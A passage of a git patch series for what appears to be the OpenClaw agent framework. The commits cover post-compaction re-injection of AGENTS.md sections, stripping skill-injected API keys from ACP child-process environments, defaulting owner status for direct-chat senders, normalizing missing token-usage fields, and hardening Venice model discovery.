Default: false, so safeguard mode alone does not turn on retry behavior.", "agents.defaults.compaction.qualityGuard.maxRetries": "Maximum number of regeneration retries after a failed safeguard summary quality audit. Use small values to bound extra latency and token cost.", + "agents.defaults.compaction.postCompactionSections": + 'AGENTS.md H2/H3 section names re-injected after compaction so the agent reruns critical startup guidance. Leave unset to use "Session Startup"/"Red Lines" with legacy fallback to "Every Session"/"Safety"; set to [] to disable reinjection entirely.', "agents.defaults.compaction.memoryFlush": "Pre-compaction memory flush settings that run an agentic memory write before heavy compaction. Keep enabled for long sessions so salient context is persisted before aggressive trimming.", "agents.defaults.compaction.memoryFlush.enabled": diff --git a/src/config/schema.labels.ts b/src/config/schema.labels.ts index 64d444aab47..a5fec8dadcf 100644 --- a/src/config/schema.labels.ts +++ b/src/config/schema.labels.ts @@ -454,6 +454,7 @@ export const FIELD_LABELS: Record = { "agents.defaults.compaction.qualityGuard": "Compaction Quality Guard", "agents.defaults.compaction.qualityGuard.enabled": "Compaction Quality Guard Enabled", "agents.defaults.compaction.qualityGuard.maxRetries": "Compaction Quality Guard Max Retries", + "agents.defaults.compaction.postCompactionSections": "Post-Compaction Context Sections", "agents.defaults.compaction.memoryFlush": "Compaction Memory Flush", "agents.defaults.compaction.memoryFlush.enabled": "Compaction Memory Flush Enabled", "agents.defaults.compaction.memoryFlush.softThresholdTokens": diff --git a/src/config/types.agent-defaults.ts b/src/config/types.agent-defaults.ts index 6ceba822362..a7c40a5016b 100644 --- a/src/config/types.agent-defaults.ts +++ b/src/config/types.agent-defaults.ts @@ -314,6 +314,12 @@ export type AgentCompactionConfig = { qualityGuard?: AgentCompactionQualityGuardConfig; /** Pre-compaction memory flush (agentic turn). Default: enabled. */ memoryFlush?: AgentCompactionMemoryFlushConfig; + /** + * H2/H3 section names from AGENTS.md to inject after compaction. + * Defaults to ["Session Startup", "Red Lines"] when unset. + * Set to [] to disable post-compaction context injection entirely. + */ + postCompactionSections?: string[]; }; export type AgentCompactionMemoryFlushConfig = { diff --git a/src/config/zod-schema.agent-defaults.ts b/src/config/zod-schema.agent-defaults.ts index 276f97f586d..7c43a5a382d 100644 --- a/src/config/zod-schema.agent-defaults.ts +++ b/src/config/zod-schema.agent-defaults.ts @@ -102,6 +102,7 @@ export const AgentDefaultsSchema = z }) .strict() .optional(), + postCompactionSections: z.array(z.string()).optional(), memoryFlush: z .object({ enabled: z.boolean().optional(), From ae96a8191649c5d1d44c6e06f8503015216cd880 Mon Sep 17 00:00:00 2001 From: Drew Wagner <42811278+taw0002@users.noreply.github.com> Date: Fri, 6 Mar 2026 18:18:13 -0500 Subject: [PATCH 073/844] fix: strip skill-injected env vars from ACP harness spawn env (#36280) (#36316) * fix: strip skill-injected env vars from ACP harness spawn env Skill apiKey entries (e.g., openai-image-gen with primaryEnv=OPENAI_API_KEY) are set on process.env during agent runs and only reverted after the run completes. ACP harnesses like Codex CLI inherit these vars, causing them to silently use API billing instead of their own auth (e.g., OAuth). The fix tracks which env vars are actively injected by skill overrides in a module-level Set (activeSkillEnvKeys) and strips them in resolveAcpClientSpawnEnv() before spawning ACP child processes. Fixes #36280 * ACP: type spawn env for stripped keys * Skills: cover active env key lifecycle * Changelog: note ACP skill env isolation * ACP: preserve shell marker after env stripping --------- Co-authored-by: Vincent Koc --- CHANGELOG.md | 1 + src/acp/client.test.ts | 43 ++++++++++++++++++++++ src/acp/client.ts | 15 +++++++- src/agents/skills.test.ts | 3 ++ src/agents/skills/env-overrides.runtime.ts | 1 + src/agents/skills/env-overrides.ts | 15 ++++++++ 6 files changed, 76 insertions(+), 2 deletions(-) create mode 100644 src/agents/skills/env-overrides.runtime.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 8fc4a7cd81b..dd664c4dadc 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -206,6 +206,7 @@ Docs: https://docs.openclaw.ai - Skills/nano-banana-pro resolution override: respect explicit `--resolution` values during image editing and only auto-detect output size from input images when the flag is omitted. (#36880) Thanks @shuofengzhang and @vincentkoc. - Skills/openai-image-gen CLI validation: validate `--background` and `--style` inputs early, normalize supported values, and warn when those flags are ignored for incompatible models. (#36762) Thanks @shuofengzhang and @vincentkoc. - Skills/openai-image-gen output formats: validate `--output-format` values early, normalize aliases like `jpg -> jpeg`, and warn when the flag is ignored for incompatible models. (#36648) Thanks @shuofengzhang and @vincentkoc. +- ACP/skill env isolation: strip skill-injected API keys from ACP harness child-process environments so tools like Codex CLI keep their own auth flow instead of inheriting billed provider keys from active skills. (#36316) Thanks @taw0002 and @vincentkoc. - WhatsApp media upload caps: make outbound media sends and auto-replies honor `channels.whatsapp.mediaMaxMb` with per-account overrides so inbound and outbound limits use the same channel config. Thanks @vincentkoc. - Windows/Plugin install: when OpenClaw runs on Windows via Bun and `npm-cli.js` is not colocated with the runtime binary, fall back to `npm.cmd`/`npx.cmd` through the existing `cmd.exe` wrapper so `openclaw plugins install` no longer fails with `spawn EINVAL`. (#38056) Thanks @0xlin2023. - Telegram/send retry classification: retry grammY `Network request ... failed after N attempts` envelopes in send flows without reclassifying plain `Network request ... failed!` wrappers as transient, restoring the intended retry path while keeping broad send-context message matching tight. (#38056) Thanks @0xlin2023. diff --git a/src/acp/client.test.ts b/src/acp/client.test.ts index 72958ca57c2..bb5340115a1 100644 --- a/src/acp/client.test.ts +++ b/src/acp/client.test.ts @@ -60,6 +60,49 @@ describe("resolveAcpClientSpawnEnv", () => { }); expect(env.OPENCLAW_SHELL).toBe("acp-client"); }); + + it("strips skill-injected env keys when stripKeys is provided", () => { + const stripKeys = new Set(["OPENAI_API_KEY", "ELEVENLABS_API_KEY"]); + const env = resolveAcpClientSpawnEnv( + { + PATH: "/usr/bin", + OPENAI_API_KEY: "sk-leaked-from-skill", + ELEVENLABS_API_KEY: "el-leaked", + ANTHROPIC_API_KEY: "sk-keep-this", + }, + { stripKeys }, + ); + + expect(env.PATH).toBe("/usr/bin"); + expect(env.OPENCLAW_SHELL).toBe("acp-client"); + expect(env.ANTHROPIC_API_KEY).toBe("sk-keep-this"); + expect(env.OPENAI_API_KEY).toBeUndefined(); + expect(env.ELEVENLABS_API_KEY).toBeUndefined(); + }); + + it("does not modify the original baseEnv when stripping keys", () => { + const baseEnv: NodeJS.ProcessEnv = { + OPENAI_API_KEY: "sk-original", + PATH: "/usr/bin", + }; + const stripKeys = new Set(["OPENAI_API_KEY"]); + resolveAcpClientSpawnEnv(baseEnv, { stripKeys }); + + expect(baseEnv.OPENAI_API_KEY).toBe("sk-original"); + }); + + it("preserves OPENCLAW_SHELL even when stripKeys contains it", () => { + const env = resolveAcpClientSpawnEnv( + { + OPENCLAW_SHELL: "skill-overridden", + OPENAI_API_KEY: "sk-leaked", + }, + { stripKeys: new Set(["OPENCLAW_SHELL", "OPENAI_API_KEY"]) }, + ); + + expect(env.OPENCLAW_SHELL).toBe("acp-client"); + expect(env.OPENAI_API_KEY).toBeUndefined(); + }); }); describe("resolveAcpClientSpawnInvocation", () => { diff --git a/src/acp/client.ts b/src/acp/client.ts index 0cf9a194d88..54be5ffc455 100644 --- a/src/acp/client.ts +++ b/src/acp/client.ts @@ -348,8 +348,16 @@ function buildServerArgs(opts: AcpClientOptions): string[] { export function resolveAcpClientSpawnEnv( baseEnv: NodeJS.ProcessEnv = process.env, + options?: { stripKeys?: ReadonlySet }, ): NodeJS.ProcessEnv { - return { ...baseEnv, OPENCLAW_SHELL: "acp-client" }; + const env: NodeJS.ProcessEnv = { ...baseEnv }; + if (options?.stripKeys) { + for (const key of options.stripKeys) { + delete env[key]; + } + } + env.OPENCLAW_SHELL = "acp-client"; + return env; } type AcpSpawnRuntime = { @@ -450,7 +458,10 @@ export async function createAcpClient(opts: AcpClientOptions = {}): Promise { try { expect(process.env.ENV_KEY).toBe("injected"); + expect(getActiveSkillEnvKeys().has("ENV_KEY")).toBe(true); } finally { restore(); expect(process.env.ENV_KEY).toBeUndefined(); + expect(getActiveSkillEnvKeys().has("ENV_KEY")).toBe(false); } }); }); diff --git a/src/agents/skills/env-overrides.runtime.ts b/src/agents/skills/env-overrides.runtime.ts new file mode 100644 index 00000000000..ab8c4b305fb --- /dev/null +++ b/src/agents/skills/env-overrides.runtime.ts @@ -0,0 +1 @@ +export { getActiveSkillEnvKeys } from "./env-overrides.js"; diff --git a/src/agents/skills/env-overrides.ts b/src/agents/skills/env-overrides.ts index 83bb559bc7c..b56d02070df 100644 --- a/src/agents/skills/env-overrides.ts +++ b/src/agents/skills/env-overrides.ts @@ -12,6 +12,19 @@ const log = createSubsystemLogger("env-overrides"); type EnvUpdate = { key: string; prev: string | undefined }; type SkillConfig = NonNullable>; +/** + * Tracks env var keys that are currently injected by skill overrides. + * Used by ACP harness spawn to strip skill-injected keys so they don't + * leak to child processes (e.g., OPENAI_API_KEY leaking to Codex CLI). + * @see https://github.com/openclaw/openclaw/issues/36280 + */ +const activeSkillEnvKeys = new Set(); + +/** Returns a snapshot of env var keys currently injected by skill overrides. */ +export function getActiveSkillEnvKeys(): ReadonlySet { + return activeSkillEnvKeys; +} + type SanitizedSkillEnvOverrides = { allowed: Record; blocked: string[]; @@ -135,12 +148,14 @@ function applySkillConfigEnvOverrides(params: { } updates.push({ key: envKey, prev: process.env[envKey] }); process.env[envKey] = envValue; + activeSkillEnvKeys.add(envKey); } } function createEnvReverter(updates: EnvUpdate[]) { return () => { for (const update of updates) { + activeSkillEnvKeys.delete(update.key); if (update.prev === undefined) { delete process.env[update.key]; } else { From 48b3c4a043e3e0bbd24ccc01631ab4adc7db715d Mon Sep 17 00:00:00 2001 From: Marcus Widing Date: Sat, 7 Mar 2026 00:37:07 +0100 Subject: [PATCH 074/844] fix(auth): treat unconfigured-owner sessions as owner for ownerOnly tools (#26331) Merged via squash. Prepared head SHA: 1fbe1c765102c223b4e8d6f8e831db54c975430d Co-authored-by: widingmarcus-cyber <245375637+widingmarcus-cyber@users.noreply.github.com> Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com> Reviewed-by: @jalehman --- CHANGELOG.md | 1 + .../command-auth.owner-default.test.ts | 155 ++++++++++++++++++ src/auto-reply/command-auth.ts | 9 +- 3 files changed, 164 insertions(+), 1 deletion(-) create mode 100644 src/auto-reply/command-auth.owner-default.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index dd664c4dadc..e1ebcf56b75 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -714,6 +714,7 @@ Docs: https://docs.openclaw.ai - Slack/Disabled channel startup: skip Slack monitor socket startup entirely when `channels.slack.enabled=false` (including configs that still contain valid tokens), preventing disabled accounts from opening websocket connections. (#30586) Thanks @liuxiaopai-ai. - Onboarding/Custom providers: use Azure OpenAI-specific verification auth/payload shape (`api-key`, deployment-path chat completions payload) when probing Azure endpoints so valid Azure custom-provider setup no longer fails preflight. (#29421) Thanks @kunalk16. - Feishu/Docx editing tools: add `feishu_doc` positional insert, table row/column operations, table-cell merge, and color-text updates; switch markdown write/append/insert to Descendant API insertion with large-document batching; and harden image uploads for data URI/base64/local-path inputs with strict validation and routing-safe upload metadata. (#29411) Thanks @Elarwei001. +- Commands/Owner-only tools: treat identified direct-chat senders as owners when no owner allowlist is configured, while preserving internal `operator.admin` owner sessions. (#26331) thanks @widingmarcus-cyber ## 2026.2.26 diff --git a/src/auto-reply/command-auth.owner-default.test.ts b/src/auto-reply/command-auth.owner-default.test.ts new file mode 100644 index 00000000000..117370192d8 --- /dev/null +++ b/src/auto-reply/command-auth.owner-default.test.ts @@ -0,0 +1,155 @@ +import { afterEach, beforeEach, describe, expect, it } from "vitest"; +import type { OpenClawConfig } from "../config/config.js"; +import { setActivePluginRegistry } from "../plugins/runtime.js"; +import { createOutboundTestPlugin, createTestRegistry } from "../test-utils/channel-plugins.js"; +import { resolveCommandAuthorization } from "./command-auth.js"; +import type { MsgContext } from "./templating.js"; + +const createRegistry = () => + createTestRegistry([ + { + pluginId: "discord", + plugin: createOutboundTestPlugin({ id: "discord", outbound: { deliveryMode: "direct" } }), + source: "test", + }, + ]); + +beforeEach(() => { + setActivePluginRegistry(createRegistry()); +}); + +afterEach(() => { + setActivePluginRegistry(createRegistry()); +}); + +describe("senderIsOwner defaults to true when no owner allowlist configured (#26319)", () => { + it("senderIsOwner is true when no ownerAllowFrom is configured (single-user default)", () => { + const cfg = { + channels: { discord: {} }, + } as OpenClawConfig; + + const ctx = { + Provider: "discord", + Surface: "discord", + ChatType: "direct", + From: "discord:123", + SenderId: "123", + } as MsgContext; + + const auth = resolveCommandAuthorization({ + ctx, + cfg, + commandAuthorized: true, + }); + + // Without an explicit ownerAllowFrom list, the sole authorized user should + // be treated as owner so ownerOnly tools (cron, gateway) are available. + expect(auth.senderIsOwner).toBe(true); + }); + + it("senderIsOwner is false when no ownerAllowFrom is configured in a group chat", () => { + const cfg = { + channels: { discord: {} }, + } as OpenClawConfig; + + const ctx = { + Provider: "discord", + Surface: "discord", + ChatType: "group", + From: "discord:123", + SenderId: "123", + } as MsgContext; + + const auth = resolveCommandAuthorization({ + ctx, + cfg, + commandAuthorized: true, + }); + + expect(auth.senderIsOwner).toBe(false); + }); + + it("senderIsOwner is false when ownerAllowFrom is configured and sender does not match", () => { + const cfg = { + channels: { discord: {} }, + commands: { ownerAllowFrom: ["456"] }, + } as OpenClawConfig; + + const ctx = { + Provider: "discord", + Surface: "discord", + From: "discord:789", + SenderId: "789", + } as MsgContext; + + const auth = resolveCommandAuthorization({ + ctx, + cfg, + commandAuthorized: true, + }); + + expect(auth.senderIsOwner).toBe(false); + }); + + it("senderIsOwner is true when ownerAllowFrom matches sender", () => { + const cfg = { + channels: { discord: {} }, + commands: { ownerAllowFrom: ["456"] }, + } as OpenClawConfig; + + const ctx = { + Provider: "discord", + Surface: "discord", + From: "discord:456", + SenderId: "456", + } as MsgContext; + + const auth = resolveCommandAuthorization({ + ctx, + cfg, + commandAuthorized: true, + }); + + expect(auth.senderIsOwner).toBe(true); + }); + + it("senderIsOwner is true when ownerAllowFrom is wildcard (*)", () => { + const cfg = { + channels: { discord: {} }, + commands: { ownerAllowFrom: ["*"] }, + } as OpenClawConfig; + + const ctx = { + Provider: "discord", + Surface: "discord", + From: "discord:anyone", + SenderId: "anyone", + } as MsgContext; + + const auth = resolveCommandAuthorization({ + ctx, + cfg, + commandAuthorized: true, + }); + + expect(auth.senderIsOwner).toBe(true); + }); + + it("senderIsOwner is true for internal operator.admin sessions", () => { + const cfg = {} as OpenClawConfig; + + const ctx = { + Provider: "webchat", + Surface: "webchat", + GatewayClientScopes: ["operator.admin"], + } as MsgContext; + + const auth = resolveCommandAuthorization({ + ctx, + cfg, + commandAuthorized: true, + }); + + expect(auth.senderIsOwner).toBe(true); + }); +}); diff --git a/src/auto-reply/command-auth.ts b/src/auto-reply/command-auth.ts index ed37427d50b..87f64e8c8f1 100644 --- a/src/auto-reply/command-auth.ts +++ b/src/auto-reply/command-auth.ts @@ -350,8 +350,15 @@ export function resolveCommandAuthorization(params: { isInternalMessageChannel(ctx.Provider) && Array.isArray(ctx.GatewayClientScopes) && ctx.GatewayClientScopes.includes("operator.admin"); - const senderIsOwner = senderIsOwnerByIdentity || senderIsOwnerByScope; const ownerAllowlistConfigured = ownerAllowAll || explicitOwners.length > 0; + const isDirectChat = (ctx.ChatType ?? "").trim().toLowerCase() === "direct"; + // In the default single-user direct-chat setup, allow an identified sender to + // keep ownerOnly tools even without an explicit owner allowlist. + const senderIsOwner = + senderIsOwnerByIdentity || + senderIsOwnerByScope || + ownerAllowAll || + (!ownerAllowlistConfigured && isDirectChat && Boolean(senderId)); const requireOwner = enforceOwner || ownerAllowlistConfigured; const isOwnerForCommands = !requireOwner ? true From 942c53e7f0795b157be41ec06554e0c05fe0e0a6 Mon Sep 17 00:00:00 2001 From: SP <8068616+sp-hk2ldn@users.noreply.github.com> Date: Fri, 6 Mar 2026 23:59:16 +0000 Subject: [PATCH 075/844] fix(agents): prevent totalTokens crash when assistant usage is missing (#34977) Merged via squash. Prepared head SHA: 1c14094f3f85f2c87596df2d67fd0ca6af4e9084 Co-authored-by: sp-hk2ldn <8068616+sp-hk2ldn@users.noreply.github.com> Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com> Reviewed-by: @jalehman --- CHANGELOG.md | 1 + ...ed-runner.sanitize-session-history.test.ts | 125 ++++++++++++++++++ src/agents/pi-embedded-runner/google.ts | 117 +++++++++++++++- 3 files changed, 240 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index e1ebcf56b75..6f1a55432a9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -213,6 +213,7 @@ Docs: https://docs.openclaw.ai - Gateway/probes: keep `/health`, `/healthz`, `/ready`, and `/readyz` reachable when the Control UI is mounted at `/`, preserve plugin-owned route precedence on those paths, and make `/ready` and `/readyz` report channel-backed readiness with startup grace plus `503` on disconnected managed channels, while `/health` and `/healthz` stay shallow liveness probes. (#18446) Thanks @vibecodooor, @mahsumaktas, and @vincentkoc. - Feishu/media downloads: drop invalid timeout fields from SDK method calls now that client-level `httpTimeoutMs` applies to requests. (#38267) Thanks @ant1eicher and @thewilloftheshadow. - PI embedded runner/Feishu docs: propagate sender identity into embedded attempts so Feishu doc auto-grant restores requester access for embedded-runner executions. (#32915) thanks @cszhouwei. +- Agents/usage normalization: normalize missing or partial assistant usage snapshots before compaction accounting so `openclaw agent --json` no longer crashes when provider payloads omit `totalTokens` or related usage fields. (#34977) thanks @sp-hk2ldn. ## 2026.3.2 diff --git a/src/agents/pi-embedded-runner.sanitize-session-history.test.ts b/src/agents/pi-embedded-runner.sanitize-session-history.test.ts index 13884cd904f..e216a45f4f3 100644 --- a/src/agents/pi-embedded-runner.sanitize-session-history.test.ts +++ b/src/agents/pi-embedded-runner.sanitize-session-history.test.ts @@ -330,6 +330,131 @@ describe("sanitizeSessionHistory", () => { expect(assistants[1]?.usage).toBeDefined(); }); + it("adds a zeroed assistant usage snapshot when usage is missing", async () => { + vi.mocked(helpers.isGoogleModelApi).mockReturnValue(false); + + const messages = castAgentMessages([ + { role: "user", content: "question" }, + { + role: "assistant", + content: [{ type: "text", text: "answer without usage" }], + }, + ]); + + const result = await sanitizeOpenAIHistory(messages); + const assistant = result.find((message) => message.role === "assistant") as + | (AgentMessage & { usage?: unknown }) + | undefined; + + expect(assistant?.usage).toEqual(makeZeroUsageSnapshot()); + }); + + it("normalizes mixed partial assistant usage fields to numeric totals", async () => { + vi.mocked(helpers.isGoogleModelApi).mockReturnValue(false); + + const messages = castAgentMessages([ + { role: "user", content: "question" }, + { + role: "assistant", + content: [{ type: "text", text: "answer with partial usage" }], + usage: { + output: 3, + cache_read_input_tokens: 9, + }, + }, + ]); + + const result = await sanitizeOpenAIHistory(messages); + const assistant = result.find((message) => message.role === "assistant") as + | (AgentMessage & { usage?: unknown }) + | undefined; + + expect(assistant?.usage).toEqual({ + input: 0, + output: 3, + cacheRead: 9, + cacheWrite: 0, + totalTokens: 12, + }); + }); + + it("preserves existing usage cost while normalizing token fields", async () => { + vi.mocked(helpers.isGoogleModelApi).mockReturnValue(false); + + const messages = castAgentMessages([ + { role: "user", content: "question" }, + { + role: "assistant", + content: [{ type: "text", text: "answer with partial usage and cost" }], + usage: { + output: 3, + cache_read_input_tokens: 9, + cost: { + input: 1.25, + output: 2.5, + cacheRead: 0.25, + cacheWrite: 0, + total: 4, + }, + }, + }, + ]); + + const result = await sanitizeOpenAIHistory(messages); + const assistant = result.find((message) => message.role === "assistant") as + | (AgentMessage & { usage?: unknown }) + | undefined; + + expect(assistant?.usage).toEqual({ + ...makeZeroUsageSnapshot(), + input: 0, + output: 3, + cacheRead: 9, + cacheWrite: 0, + totalTokens: 12, + cost: { + input: 1.25, + output: 2.5, + cacheRead: 0.25, + cacheWrite: 0, + total: 4, + }, + }); + }); + + it("preserves unknown cost when token fields already match", async () => { + vi.mocked(helpers.isGoogleModelApi).mockReturnValue(false); + + const messages = castAgentMessages([ + { role: "user", content: "question" }, + { + role: "assistant", + content: [{ type: "text", text: "answer with complete numeric usage but no cost" }], + usage: { + input: 1, + output: 2, + cacheRead: 3, + cacheWrite: 4, + totalTokens: 10, + }, + }, + ]); + + const result = await sanitizeOpenAIHistory(messages); + const assistant = result.find((message) => message.role === "assistant") as + | (AgentMessage & { usage?: unknown }) + | undefined; + + expect(assistant?.usage).toEqual({ + input: 1, + output: 2, + cacheRead: 3, + cacheWrite: 4, + totalTokens: 10, + }); + expect((assistant?.usage as { cost?: unknown } | undefined)?.cost).toBeUndefined(); + }); + it("drops stale usage when compaction summary appears before kept assistant messages", async () => { vi.mocked(helpers.isGoogleModelApi).mockReturnValue(false); diff --git a/src/agents/pi-embedded-runner/google.ts b/src/agents/pi-embedded-runner/google.ts index 094aa9142c3..4daf30552b3 100644 --- a/src/agents/pi-embedded-runner/google.ts +++ b/src/agents/pi-embedded-runner/google.ts @@ -25,7 +25,12 @@ import { } from "../session-transcript-repair.js"; import type { TranscriptPolicy } from "../transcript-policy.js"; import { resolveTranscriptPolicy } from "../transcript-policy.js"; -import { makeZeroUsageSnapshot } from "../usage.js"; +import { + makeZeroUsageSnapshot, + normalizeUsage, + type AssistantUsageSnapshot, + type UsageLike, +} from "../usage.js"; import { log } from "./logger.js"; import { dropThinkingBlocks } from "./thinking.js"; import { describeUnknownError } from "./utils.js"; @@ -200,6 +205,111 @@ function stripStaleAssistantUsageBeforeLatestCompaction(messages: AgentMessage[] return touched ? out : messages; } +function normalizeAssistantUsageSnapshot(usage: unknown) { + const normalized = normalizeUsage((usage ?? undefined) as UsageLike | undefined); + if (!normalized) { + return makeZeroUsageSnapshot(); + } + const input = normalized.input ?? 0; + const output = normalized.output ?? 0; + const cacheRead = normalized.cacheRead ?? 0; + const cacheWrite = normalized.cacheWrite ?? 0; + const totalTokens = normalized.total ?? input + output + cacheRead + cacheWrite; + const cost = normalizeAssistantUsageCost(usage); + return { + input, + output, + cacheRead, + cacheWrite, + totalTokens, + ...(cost ? { cost } : {}), + }; +} + +function normalizeAssistantUsageCost(usage: unknown): AssistantUsageSnapshot["cost"] | undefined { + const base = makeZeroUsageSnapshot().cost; + if (!usage || typeof usage !== "object") { + return undefined; + } + const rawCost = (usage as { cost?: unknown }).cost; + if (!rawCost || typeof rawCost !== "object") { + return undefined; + } + const cost = rawCost as Record; + const inputRaw = toFiniteCostNumber(cost.input); + const outputRaw = toFiniteCostNumber(cost.output); + const cacheReadRaw = toFiniteCostNumber(cost.cacheRead); + const cacheWriteRaw = toFiniteCostNumber(cost.cacheWrite); + const totalRaw = toFiniteCostNumber(cost.total); + if ( + inputRaw === undefined && + outputRaw === undefined && + cacheReadRaw === undefined && + cacheWriteRaw === undefined && + totalRaw === undefined + ) { + return undefined; + } + const input = inputRaw ?? base.input; + const output = outputRaw ?? base.output; + const cacheRead = cacheReadRaw ?? base.cacheRead; + const cacheWrite = cacheWriteRaw ?? base.cacheWrite; + const total = totalRaw ?? input + output + cacheRead + cacheWrite; + return { input, output, cacheRead, cacheWrite, total }; +} + +function toFiniteCostNumber(value: unknown): number | undefined { + return typeof value === "number" && Number.isFinite(value) ? value : undefined; +} + +function ensureAssistantUsageSnapshots(messages: AgentMessage[]): AgentMessage[] { + if (messages.length === 0) { + return messages; + } + + let touched = false; + const out = [...messages]; + for (let i = 0; i < out.length; i += 1) { + const message = out[i] as (AgentMessage & { role?: unknown; usage?: unknown }) | undefined; + if (!message || message.role !== "assistant") { + continue; + } + const normalizedUsage = normalizeAssistantUsageSnapshot(message.usage); + const usageCost = + message.usage && typeof message.usage === "object" + ? (message.usage as { cost?: unknown }).cost + : undefined; + const normalizedCost = normalizedUsage.cost; + if ( + message.usage && + typeof message.usage === "object" && + (message.usage as { input?: unknown }).input === normalizedUsage.input && + (message.usage as { output?: unknown }).output === normalizedUsage.output && + (message.usage as { cacheRead?: unknown }).cacheRead === normalizedUsage.cacheRead && + (message.usage as { cacheWrite?: unknown }).cacheWrite === normalizedUsage.cacheWrite && + (message.usage as { totalTokens?: unknown }).totalTokens === normalizedUsage.totalTokens && + ((normalizedCost && + usageCost && + typeof usageCost === "object" && + (usageCost as { input?: unknown }).input === normalizedCost.input && + (usageCost as { output?: unknown }).output === normalizedCost.output && + (usageCost as { cacheRead?: unknown }).cacheRead === normalizedCost.cacheRead && + (usageCost as { cacheWrite?: unknown }).cacheWrite === normalizedCost.cacheWrite && + (usageCost as { total?: unknown }).total === normalizedCost.total) || + (!normalizedCost && usageCost === undefined)) + ) { + continue; + } + out[i] = { + ...(message as unknown as Record), + usage: normalizedUsage, + } as AgentMessage; + touched = true; + } + + return touched ? out : messages; +} + export function findUnsupportedSchemaKeywords(schema: unknown, path: string): string[] { if (!schema || typeof schema !== "object") { return []; @@ -449,8 +559,9 @@ export async function sanitizeSessionHistory(params: { ? sanitizeToolUseResultPairing(sanitizedToolCalls) : sanitizedToolCalls; const sanitizedToolResults = stripToolResultDetails(repairedTools); - const sanitizedCompactionUsage = - stripStaleAssistantUsageBeforeLatestCompaction(sanitizedToolResults); + const sanitizedCompactionUsage = ensureAssistantUsageSnapshots( + stripStaleAssistantUsageBeforeLatestCompaction(sanitizedToolResults), + ); const isOpenAIResponsesApi = params.modelApi === "openai-responses" || params.modelApi === "openai-codex-responses"; From 5320ee7731676382398520fe94a01a94929a6587 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 19:07:11 -0500 Subject: [PATCH 076/844] fix(venice): harden discovery limits and tool support (#38306) * Config: add supportsTools compat flag * Agents: add model tool support helper * Venice: sync discovery and fallback metadata * Agents: skip tools for unsupported models * Changelog: note Venice provider hardening * Update CHANGELOG.md * Venice: cap degraded discovery metadata * Apply suggestion from @greptile-apps[bot] Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com> * Venice: tolerate partial discovery capabilities * Venice: tolerate missing discovery specs --------- Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com> --- CHANGELOG.md | 1 + src/agents/model-tool-support.test.ts | 16 + src/agents/model-tool-support.ts | 7 + src/agents/pi-embedded-runner/compact.ts | 6 +- src/agents/pi-embedded-runner/run/attempt.ts | 14 +- src/agents/venice-models.test.ts | 234 ++++++++++++ src/agents/venice-models.ts | 362 ++++++++++++++----- src/config/types.models.ts | 1 + src/config/zod-schema.core.ts | 1 + 9 files changed, 556 insertions(+), 86 deletions(-) create mode 100644 src/agents/model-tool-support.test.ts create mode 100644 src/agents/model-tool-support.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 6f1a55432a9..b1d0dfe4003 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -89,6 +89,7 @@ Docs: https://docs.openclaw.ai - Auto-reply/system events: restore runtime system events to the message timeline (`System:` lines), preserve think-hint parsing with prepended events, and carry events into deferred followup/collect/steer-backlog prompts to keep cache behavior stable without dropping queued metadata. (#34794) Thanks @anisoptera. - Security/audit account handling: avoid prototype-chain account IDs in audit validation by using own-property checks for `accounts`. (#34982) Thanks @HOYALIM. - Cron/restart catch-up semantics: replay interrupted recurring jobs and missed immediate cron slots on startup without replaying interrupted one-shot jobs, with guarded missed-slot probing to avoid malformed-schedule startup aborts and duplicate-trigger drift after restart. (from #34466, #34896, #34625, #33206) Thanks @dunamismax, @dsantoreis, @Octane0411, and @Sid-Qin. +- Venice/provider onboarding hardening: align per-model Venice completion-token limits with discovery metadata, clamp untrusted discovery values to safe bounds, sync the static Venice fallback catalog with current live model metadata, and disable tool wiring for Venice models that do not support function calling so default Venice setups no longer fail with `max_completion_tokens` or unsupported-tools 400s. Fixes #38168. Thanks @Sid-Qin, @powermaster888 and @vincentkoc. - Agents/session usage tracking: preserve accumulated usage metadata on embedded Pi runner error exits so failed turns still update session `totalTokens` from real usage instead of stale prior values. (#34275) thanks @RealKai42. - Slack/reaction thread context routing: carry Slack native DM channel IDs through inbound context and threading tool resolution so reaction targets resolve consistently for DM `To=user:*` sessions (including `toolContext.currentChannelId` fallback behavior). (from #34831; overlaps #34440, #34502, #34483, #32754) Thanks @dunamismax. - Subagents/announce completion scoping: scope nested direct-child completion aggregation to the current requester run window, harden frozen completion capture for deterministic descendant synthesis, and route completion announce delivery through parent-agent announce turns with provenance-aware internal events. (#35080) Thanks @tyler6204. diff --git a/src/agents/model-tool-support.test.ts b/src/agents/model-tool-support.test.ts new file mode 100644 index 00000000000..22fa511e892 --- /dev/null +++ b/src/agents/model-tool-support.test.ts @@ -0,0 +1,16 @@ +import { describe, expect, it } from "vitest"; +import { supportsModelTools } from "./model-tool-support.js"; + +describe("supportsModelTools", () => { + it("defaults to true when the model has no compat override", () => { + expect(supportsModelTools({} as never)).toBe(true); + }); + + it("returns true when compat.supportsTools is true", () => { + expect(supportsModelTools({ compat: { supportsTools: true } } as never)).toBe(true); + }); + + it("returns false when compat.supportsTools is false", () => { + expect(supportsModelTools({ compat: { supportsTools: false } } as never)).toBe(false); + }); +}); diff --git a/src/agents/model-tool-support.ts b/src/agents/model-tool-support.ts new file mode 100644 index 00000000000..2b68b6347b3 --- /dev/null +++ b/src/agents/model-tool-support.ts @@ -0,0 +1,7 @@ +export function supportsModelTools(model: { compat?: unknown }): boolean { + const compat = + model.compat && typeof model.compat === "object" + ? (model.compat as { supportsTools?: boolean }) + : undefined; + return compat?.supportsTools !== false; +} diff --git a/src/agents/pi-embedded-runner/compact.ts b/src/agents/pi-embedded-runner/compact.ts index 335c3a0e7d9..92bf4b97f23 100644 --- a/src/agents/pi-embedded-runner/compact.ts +++ b/src/agents/pi-embedded-runner/compact.ts @@ -38,6 +38,7 @@ import { formatUserTime, resolveUserTimeFormat, resolveUserTimezone } from "../d import { 